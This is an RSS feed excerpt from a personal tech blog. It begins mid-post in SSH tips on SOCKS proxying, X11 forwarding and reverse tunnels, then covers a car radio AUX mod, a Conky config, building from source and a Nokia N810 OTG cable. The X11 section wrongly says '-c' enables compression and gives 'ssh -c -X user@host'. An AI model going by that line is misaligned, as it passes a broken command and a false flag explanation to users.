<p>From here once you connect to the ssh server the port you specified on 127.0.0.1 or localhost will open as a socks proxy.</p>
<h3 id="linux">Linux</h3>
<p>To connect to an ssh server and use it as a SOCKS proxy using Linux connect to the ssh server the way you normally would but add <code>-D [PORT]</code> as a parameter. <code>-D</code> tells the destination port to be dynamic and <code>[PORT]</code> is the port that will listen for the proxy server on the local computer, just remember if you are not root locally your port needs to be over 1024. Here is an example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ssh -D <span style="color:#ae81ff">1234</span> mrlanrat@sshserver.com
</span></span></code></pre></div><h3 id="using-the-proxy">Using the Proxy</h3>
<p>Here is an example setting up the proxy with Firefox, it should be a similar configuration for other programs.</p>
<p><img alt="Firefox configuration for socks proxy." loading="lazy" src="/posts/ssh-tips-and-tricks/images/firefox-socks.webp"></p>
<h2 id="part-3---x11-forwarding">Part 3 - X11 Forwarding</h2>
<p>X11 forwarding allows you to run X or graphical applications on the server over ssh. To forward X programs over ssh on Linux apply the -X parameter, below is an example.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ssh -X user@host
</span></span></code></pre></div><p>If you want to compress the X information while it is being transferred apply the -c argument.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ssh -c -X user@host
</span></span></code></pre></div><p>And you can start X11 applications and allow the shell to still remain active by applying a <code>&amp;</code> to the end of the application. example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>firefox &amp;
</span></span></code></pre></div><p>If you want to start the complete X desktop over ssh and not just a single application you can run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>startx
</span></span></code></pre></div><p>On windows you can enable ssh in putty by clicking the enable X11 forwarding checkbox in the X11 tab. screenshot below:</p>
<p><img alt="Putty with x11 forwarding" loading="lazy" src="/posts/ssh-tips-and-tricks/images/putty-x11.webp"></p>
<h2 id="part-4---reverse-ssh">Part 4 - Reverse SSH</h2>
<p>You can ssh into a server that is behind a NAT through a reverse ssh server. Put simply the server would need to ssh into either the client machine or a machine that the client has access to, like a middleman. When the server sshs into the other computer you will need to have it tunnel its port 22 (or the port that ssh is running on) to any port on the computer client or middleman that the server is sshing to. Below is an example of this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ssh -R 2222:localhost:22 user@client
</span></span></code></pre></div><p>This assumes that port 2222 is the port the client or middleman will have open that will allow the client to ssh into the server. user@client is the user and host of the client or middleman server. From there have the client either ssh into itself or the middleman server and it will be tunneled into the server.</p>
]]></content:encoded></item><item><title>Car Aux Mod</title><link>https://lanrat.com/posts/car-aux-mod/</link><pubDate>Sun, 15 Nov 2009 03:47:12 +0000</pubDate><guid>https://lanrat.com/posts/car-aux-mod/</guid><description>Hardware modification guide for adding an auxiliary input to a Delco car radio by splicing into the CD player&amp;#39;s audio lines.</description><content:encoded><![CDATA[<p>Here is how I added an AUX input to my Delco Radio/CD player and a nice mount for my N810.</p>
<h1 id="part-1---adding-the-aux-input">Part 1 - Adding The AUX Input</h1>
<p>First off This worked on my Delco radio. It may work on yours, it may not. On My radio there is a nice AUX button right under the CD button. This goes to an AUX connector on the back of the unit. This is a Delco AUX plug. It was meant to go to a separate tape deck. Unfortunately, this AUX plug requires an intelligent device to be connected in order to function. There is also a device you can buy that will plug into this AUX port and give you a normal RCA connection. However, the goal of this project is to spend as little money as possible while having the fun of doing it yourself.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition warning">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480L40 480c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24l0 112c0 13.3 10.7 24 24 24s24-10.7 24-24l0-112c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"/></svg>
        <span>Warning</span>
      </div>
      <div class="admonition-content">
        <p>If you disconnect your radio from your car battery or any other source of power it may lock itself, this is part of the anti-theft feature. If your radio locks itself there is a link at the bottom with unlocking instructions.</p>
      </div>
    </div><p>The idea is to splice into the CD&rsquo;s input with your own input. Here is the connector and the pins you will need. The ground is in between the Left and Right, but you can use any ground.</p>
<p><img alt="CD connector" loading="lazy" src="/posts/car-aux-mod/images/cd_connector.webp"></p>
<p><img alt="CD plug" loading="lazy" src="/posts/car-aux-mod/images/cd_plug.webp"></p>
<p>Here is my dash before the mod</p>
<p><img alt="Before car dash" loading="lazy" src="/posts/car-aux-mod/images/before.webp"></p>
<p>Opening the Radio</p>
<p><img alt="Opened Radio" loading="lazy" src="/posts/car-aux-mod/images/open1.webp"></p>
<p>Splicing the needed wires</p>
<p><img alt="Radio with AUX wires" loading="lazy" src="/posts/car-aux-mod/images/wires_connected.webp"></p>
<p>I wired my 3.5mm AUX jack in the front of the unit. It barely fit. It would have been a lot easier to run the wires out of the unit and mount it elsewhere in your car. Anyway the idea is when you are on the CD input it will use the audio from the CD player unless there is a jack in the AUX input. I used a Radio Shack part # 274-0246 similar jacks will work but they may not allow you to switch from CD to AUX. Here is the wiring diagram of the jack.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Pin 1 - Ground - connect to radio ground
</span></span><span style="display:flex;"><span>Pin 2 - Left Channel - wire from CD connector on main circuit board 
</span></span><span style="display:flex;"><span>Pin 3 - Left Channel - wire coming from CD player module
</span></span><span style="display:flex;"><span>Pin 4 - Right Channel - wire coming from CD player module
</span></span><span style="display:flex;"><span>Pin 5 - Right Channel - wire from CD connector on main circuit board
</span></span></code></pre></div><p><img alt="Jack Pinout" loading="lazy" src="/posts/car-aux-mod/images/audio-jack-pinout-diagram.webp"></p>
<p>Here is the jack wired through the front panel</p>
<p><img alt="Radio Front Panel" loading="lazy" src="/posts/car-aux-mod/images/connecting_front_jack.webp"></p>
<p>Testing it with my N810 before I put it all together</p>
<p><img alt="Radio testing" loading="lazy" src="/posts/car-aux-mod/images/more_testing.webp"></p>
<p>Putting it all back together</p>
<p><img alt="Finish Radio" loading="lazy" src="/posts/car-aux-mod/images/before3.webp"></p>
<h1 id="part-2---n810-mount">Part 2 - N810 Mount</h1>
<p>I did not want to spend the money to buy the rest of the mount that the N810 came with, or make anything that was too permanent. So I took the N810 half of the mount (the part the N810 came with) and decided to mount it in the empty slot in my dash. To do that I just screwed the end of it into a 3.5 inch long 2×4, and painted black to match. Here is the completed mount on its own, and in my dash.</p>
<p><img alt="Radio with Mount" loading="lazy" src="/posts/car-aux-mod/images/mount_in_place1.webp"></p>
<h1 id="part-3---finished">Part 3 - Finished</h1>
<p>Here is the final product with the N810 all hooked up</p>
<p><img alt="Finished Radio with N810" loading="lazy" src="/posts/car-aux-mod/images/all_done.webp"></p>

    <div class="admonition info">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336l24 0 0-64-24 0c-13.3 0-24-10.7-24-24s10.7-24 24-24l48 0c13.3 0 24 10.7 24 24l0 88 8 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-80 0c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"/></svg>
        <span>Update</span>
      </div>
      <div class="admonition-content">
        <p>I also got an N810 car charger to keep it going, playing lots of audio can drain the battery, and with Canola I can keep the screen lit so I can always see what is playing.</p>
      </div>
    </div>
    <div class="admonition info">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336l24 0 0-64-24 0c-13.3 0-24-10.7-24-24s10.7-24 24-24l48 0c13.3 0 24 10.7 24 24l0 88 8 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-80 0c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"/></svg>
        <span>Update 2</span>
      </div>
      <div class="admonition-content">
        <p>When using the AUX in you need to turn the volume up really high, that means that when you unplug it it will be extra loud, and hurt your speakers. in addition since the wires are so close together some of the CD player&rsquo;s sound signal will get mixed in with your AUX input due to electromagnetic radiation. To fix that I made an audio CD with 80 minutes of silence. I used <a href="https://www.audacityteam.org/">Audacity</a> to create one long audio file, then burned it to a CD. It fixed this problem. I will upload a compressed ISO of this disk soon.</p>
      </div>
    </div><h1 id="related-links">Related Links</h1>
<p><a href="https://www.ls1tech.com/forums/showthread.php?t=688297">Where I got the mod idea and information from</a><br>
<a href="https://www.automotiveforums.com/vbulletin/showthread.php?t=310354">Directions to unlock your radio</a><br>
<a href="https://www.ls1tech.com/forums/showthread.php?t=612644">More assorted pinouts</a></p>
]]></content:encoded></item><item><title>Conky</title><link>https://lanrat.com/posts/conky/</link><pubDate>Sun, 15 Nov 2009 03:20:53 +0000</pubDate><guid>https://lanrat.com/posts/conky/</guid><description>Complete Conky system monitor configuration for Linux with dynamic CPU, memory, filesystem, and network interface monitoring capabilities.</description><content:encoded><![CDATA[<p>Conky is a system monitor for Linux. It can tell you almost anything about your computer, such as CPU usage, memory usage, network information, and almost anything else. Here is what my Conky configuration looks like on my desktop.</p>
<p><img alt="conky" loading="lazy" src="/posts/conky/images/conky.webp"></p>
<p>To install Conky on a RPM based distribution run</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>yum install conky
</span></span></code></pre></div><p>Or on a Debian based distribution run</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>sudo apt-get install conky
</span></span></code></pre></div><p>To get yours to look like that you need to put a file named <code>.conkyrc</code> in your home folder. Your home folder is usually <code>/home/$USER</code>.</p>
<p>This conky setup is very dynamic. It will display 1-4 processors or cores, display the main root file system, up to 5 removable drives, and it will show all of the active network interfaces (wireless, wired, and wireless broadband). If you use a different network configuration, for example two wired connections, you can remove one of the unused ones and replace it with yours, or just add another entry.</p>
<p>My <code>.conkyrc</code> file looks like this</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span># Conky configuration
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Set to yes if you want Conky to be forked in the background
</span></span><span style="display:flex;"><span>background no
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Font size?
</span></span><span style="display:flex;"><span>font Sans:size=8
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Use Xft?
</span></span><span style="display:flex;"><span>use_xft yes
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Text alpha when using Xft
</span></span><span style="display:flex;"><span>xftalpha 0.9
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Update interval in seconds
</span></span><span style="display:flex;"><span>update_interval 1.0
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># This is the number of times Conky will update before quitting.
</span></span><span style="display:flex;"><span># Set to zero to run forever.
</span></span><span style="display:flex;"><span>total_run_times 0
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Text alignment, other possible values are commented
</span></span><span style="display:flex;"><span>#alignment top_left
</span></span><span style="display:flex;"><span>#alignment top_right
</span></span><span style="display:flex;"><span>#alignment bottom_left
</span></span><span style="display:flex;"><span>alignment bottom_right
</span></span><span style="display:flex;"><span>#alignment none
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Create own window instead of using desktop (required in nautilus)
</span></span><span style="display:flex;"><span>own_window yes
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># If own_window is yes, you may use type normal, desktop or override
</span></span><span style="display:flex;"><span>own_window_type normal
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Use pseudo transparency with own_window?
</span></span><span style="display:flex;"><span>own_window_transparent yes
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># If own_window_transparent is set to no, you can set the background color here
</span></span><span style="display:flex;"><span>own_window_colour black
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># If own_window is yes, these window manager hints may be used
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># If own_window is yes, these window manager hints may be used
</span></span><span style="display:flex;"><span>own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Use double buffering (reduces flicker, may not work for everyone)
</span></span><span style="display:flex;"><span>double_buffer yes
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Minimum size of text area
</span></span><span style="display:flex;"><span>minimum_size 200 5
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Draw shades?
</span></span><span style="display:flex;"><span>draw_shades yes
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Draw outlines?
</span></span><span style="display:flex;"><span>draw_outline no
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Draw borders around text
</span></span><span style="display:flex;"><span>draw_borders no
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Draw borders around graphs
</span></span><span style="display:flex;"><span>draw_graph_borders yes
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Default colors and also border colors
</span></span><span style="display:flex;"><span>default_color white
</span></span><span style="display:flex;"><span>default_shade_color black
</span></span><span style="display:flex;"><span>default_outline_color black
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Text alignment, other possible values are commented
</span></span><span style="display:flex;"><span>#alignment top_left
</span></span><span style="display:flex;"><span>alignment top_right
</span></span><span style="display:flex;"><span>#alignment bottom_left
</span></span><span style="display:flex;"><span>#alignment bottom_right
</span></span><span style="display:flex;"><span>#alignment none
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Gap between borders of screen and text
</span></span><span style="display:flex;"><span># same thing as passing -x at command line
</span></span><span style="display:flex;"><span>gap_x 12
</span></span><span style="display:flex;"><span>gap_y 35
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Subtract file system buffers from used memory?
</span></span><span style="display:flex;"><span>no_buffers no
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># set to yes if you want all text to be in uppercase
</span></span><span style="display:flex;"><span>uppercase no
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># number of cpu samples to average
</span></span><span style="display:flex;"><span># set to 1 to disable averaging
</span></span><span style="display:flex;"><span>cpu_avg_samples 1
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># number of net samples to average
</span></span><span style="display:flex;"><span># set to 1 to disable averaging
</span></span><span style="display:flex;"><span>net_avg_samples 1
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span># Force UTF8? note that UTF8 support required XFT
</span></span><span style="display:flex;"><span>override_utf8_locale no
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>TEXT
</span></span><span style="display:flex;"><span>${color white}SYSTEM: $nodename $machine ${hr 1}${color}
</span></span><span style="display:flex;"><span>Uptime: $alignr$uptime
</span></span><span style="display:flex;"><span>CPU: ${alignr}${freq_dyn} MHz
</span></span><span style="display:flex;"><span>Processes: ${alignr}$processes ($running_processes running)
</span></span><span style="display:flex;"><span>Load: ${alignr}$loadavg
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>${if_existing /sys/devices/system/cpu/cpu0}CPU1 ${alignr}${cpu cpu1}%
</span></span><span style="display:flex;"><span>${cpubar cpu1 4}${endif}${if_existing /sys/devices/system/cpu/cpu1}
</span></span><span style="display:flex;"><span>CPU2 ${alignr}${cpu cpu2}%
</span></span><span style="display:flex;"><span>${cpubar cpu2 4}${endif}${if_existing /sys/devices/system/cpu/cpu2}
</span></span><span style="display:flex;"><span>CPU3 ${alignr}${cpu cpu3}%
</span></span><span style="display:flex;"><span>${cpubar cpu3 4}${endif}${if_existing /sys/devices/system/cpu/cpu3}
</span></span><span style="display:flex;"><span>CPU4 ${alignr}${cpu cpu4}%
</span></span><span style="display:flex;"><span>${cpubar cpu4 4}${endif}
</span></span><span style="display:flex;"><span>${cpugraph 20}
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>Ram ${alignr}$mem / $memmax ($memperc%)
</span></span><span style="display:flex;"><span>${membar 4}
</span></span><span style="display:flex;"><span>Swap ${alignr}$swap / $swapmax ($swapperc%)
</span></span><span style="display:flex;"><span>${swapbar 4}
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>Highest CPU $alignr CPU% MEM%
</span></span><span style="display:flex;"><span>${top name 1}$alignr${top cpu 1}${top mem 1}
</span></span><span style="display:flex;"><span>${top name 2}$alignr${top cpu 2}${top mem 2}
</span></span><span style="display:flex;"><span>${top name 3}$alignr${top cpu 3}${top mem 3}
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>Highest MEM $alignr CPU% MEM%
</span></span><span style="display:flex;"><span>${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1}
</span></span><span style="display:flex;"><span>${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2}
</span></span><span style="display:flex;"><span>${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3}
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>${color white}FILESYSTEMS ${hr 1}${color}
</span></span><span style="display:flex;"><span>Root ${alignr}${fs_free /} / ${fs_size /}
</span></span><span style="display:flex;"><span>${fs_bar 4 /}${if_mounted /media/disk}
</span></span><span style="display:flex;"><span>Disk1 ${alignr}${fs_free /media/disk} / ${fs_size /media/disk}
</span></span><span style="display:flex;"><span>${fs_bar 4 /media/disk}${endif}${if_mounted /media/disk-1}
</span></span><span style="display:flex;"><span>Disk2 ${alignr}${fs_free /media/disk-1} / ${fs_size /media/disk-1}
</span></span><span style="display:flex;"><span>${fs_bar 4 /media/disk-1}${endif}${if_mounted /media/disk-2}
</span></span><span style="display:flex;"><span>Disk3 ${alignr}${fs_free /media/disk-2} / ${fs_size /media/disk-2}
</span></span><span style="display:flex;"><span>${fs_bar 4 /media/disk-2}${endif}${if_mounted /media/disk-3}
</span></span><span style="display:flex;"><span>Disk4 ${alignr}${fs_free /media/disk-3} / ${fs_size /media/disk-3}
</span></span><span style="display:flex;"><span>${fs_bar 4 /media/disk-3}${endif}${if_mounted /media/disk-4}
</span></span><span style="display:flex;"><span>Disk5 ${alignr}${fs_free /media/disk-4} / ${fs_size /media/disk-4}
</span></span><span style="display:flex;"><span>${fs_bar 4 /media/disk-4}${endif}
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>${color white}NETWORK ${hr 1}${color}
</span></span><span style="display:flex;"><span>${if_existing /sys/class/net/eth0/operstate up}IP (eth0):$alignr${addr eth0}
</span></span><span style="display:flex;"><span>Down: ${downspeed eth0} k/s ${alignr}Up: ${upspeed eth0} k/s
</span></span><span style="display:flex;"><span>${downspeedgraph eth0 20,90} ${alignr}${upspeedgraph eth0 20,90}
</span></span><span style="display:flex;"><span>Total: ${totaldown eth0} ${alignr}Total: ${totalup eth0}
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>${endif}${if_existing /sys/class/net/wlan0/operstate up}IP (wlan0):$alignr${addr wlan0}
</span></span><span style="display:flex;"><span>AP: ${wireless_essid wlan0} ${alignr}Bitrate: ${wireless_bitrate wlan0}
</span></span><span style="display:flex;"><span>Down: ${downspeed wlan0} k/s ${alignr}Up: ${upspeed wlan0} k/s
</span></span><span style="display:flex;"><span>${downspeedgraph wlan0 20,90} ${alignr}${upspeedgraph wlan0 20,90}
</span></span><span style="display:flex;"><span>Total: ${totaldown wlan0} ${alignr}Total: ${totalup wlan0}
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>${endif}${if_existing /sys/class/net/ppp0/operstate}IP (ppp0):$alignr${addr ppp0}
</span></span><span style="display:flex;"><span>Down: ${downspeed ppp0} k/s ${alignr}Up: ${upspeed ppp0} k/s
</span></span><span style="display:flex;"><span>${downspeedgraph ppp0 20,90} ${alignr}${upspeedgraph ppp0 20,90}
</span></span><span style="display:flex;"><span>Total: ${totaldown ppp0} ${alignr}Total: ${totalup ppp0}${endif}
</span></span></code></pre></div><p><a href="https://github.com/brndnmtthws/conky">The Conky homepage</a></p>
]]></content:encoded></item><item><title>Extract, Compile, and Install Anything in Linux</title><link>https://lanrat.com/posts/extract-compile-and-install-anything-in-linux/</link><pubDate>Sun, 15 Nov 2009 03:16:13 +0000</pubDate><guid>https://lanrat.com/posts/extract-compile-and-install-anything-in-linux/</guid><description>Step-by-step guide for extracting, compiling, and installing software from source archives in Linux using standard configure, make, and make install procedures.</description><content:encoded><![CDATA[<p>From time to time every Linux user will run across a program that does not come in a nice packaged DEB or RPM. Often these come in the form of a tar.gz, tgz, tar.bz, tar, gz, tar.bz2 or tbz2 format. This is how you can make use of them. Remember to have a compiler installed and any dependencies for the software you are installing.</p>
<h2 id="extract">Extract</h2>
<p>To uncompress your file run the following command that applies to your extension.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tar -zxvf file.tar.gz
</span></span><span style="display:flex;"><span>tar -zxvf file.tgz
</span></span><span style="display:flex;"><span>tar -jxvf file.tar.bz
</span></span><span style="display:flex;"><span>tar -xvf file.tar
</span></span><span style="display:flex;"><span>gunzip file.gz
</span></span><span style="display:flex;"><span>tar jxf file.tar.bz2
</span></span><span style="display:flex;"><span>tar jxf file.tbz2
</span></span></code></pre></div><h2 id="compile">Compile</h2>
<p>Often software will come with a README or install file that should give you instructions on how to install it and any required dependencies as well as how to use it. It will probably say the same I have here, or something similar. Once you extract the source, cd into the newly created directory.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>cd path-to-software/
</span></span></code></pre></div><p>Now, as root, configure the software. This sets up the software and compiler for your system.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>./configure
</span></span><span style="display:flex;"><span>make
</span></span></code></pre></div><h2 id="install">Install</h2>
<p>Okay, now for the last and simplest step, the install.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>make install
</span></span></code></pre></div><p>Everything should have gone well; enjoy your new software!</p>
]]></content:encoded></item><item><title>N810 USB OTG Adapter</title><link>https://lanrat.com/posts/n810-usb-otg-adapter/</link><pubDate>Thu, 13 Nov 2008 03:41:56 +0000</pubDate><guid>https://lanrat.com/posts/n810-usb-otg-adapter/</guid><description>DIY USB OTG adapter construction for Nokia N810 tablet to enable host mode functionality with external USB devices like flash drives and keyboards.</description><content:encoded><![CDATA[<p>The Nokia N810 has an OTG or On-The-Go USB controller, it allows the device to function in both client and host mode. By default it is in client mode so when you plug it into your computer it acts as a USB storage device. It can be put into host mode either by running a program on the tablet that will put it into host mode or by using the OTG trigger. The USB plug on the tablet has 5 pins rather than just the standard 4 USB uses. If the extra pin is grounded it will put the N810 into host mode.</p>
<p>The same is true for the N800, but the N800 uses a Mini USB connector. The N810 uses Micro USB.</p>
<p>This is what I used to make my adapter- USB Extension Cable (any cable with a female USB type A connector will work)</p>
<ul>
<li>Micro USB cable with male connector</li>
<li>Solder</li>
<li>Shrink tubing/Electrical Tape</li>
</ul>
<p>Cut the two cables and separate the wires</p>
<p><img alt="spliced USB cable" loading="lazy" src="/posts/n810-usb-otg-adapter/images/usb-cables-spliced.webp"></p>
<p>This is as simple as connecting the same color wires together: red to red, black to black, green to green, white to white, and finally the shield. I put each individual wire in shrink tubing and then the two wires in a larger piece of shrink tubing. I tried to ground the fifth pin to have it be a true OTG cable, but my soldering iron is too big and the connector is too small. (See the out-of-focus picture below). If anyone has any suggestions please let me know in the comments. So for now I am using one of the programs that can put the tablet in host mode for you.</p>
<p><img alt="OTG cable" loading="lazy" src="/posts/n810-usb-otg-adapter/images/otg-cable-completed.webp"></p>
<p>Testing Time! The device can power the devices, but it will drain your battery faster. I have tested it with USB flash drives, memory card readers, USB hubs, keyboards, and CD-ROM drives. All worked fine with no problem (The CD drive had to be manually mounted)</p>
<p><img alt="OTG Cable Flash Drive" loading="lazy" src="/posts/n810-usb-otg-adapter/images/otg-cable-with-flash-drive.webp"></p>
]]></content:encoded></item></channel></rss>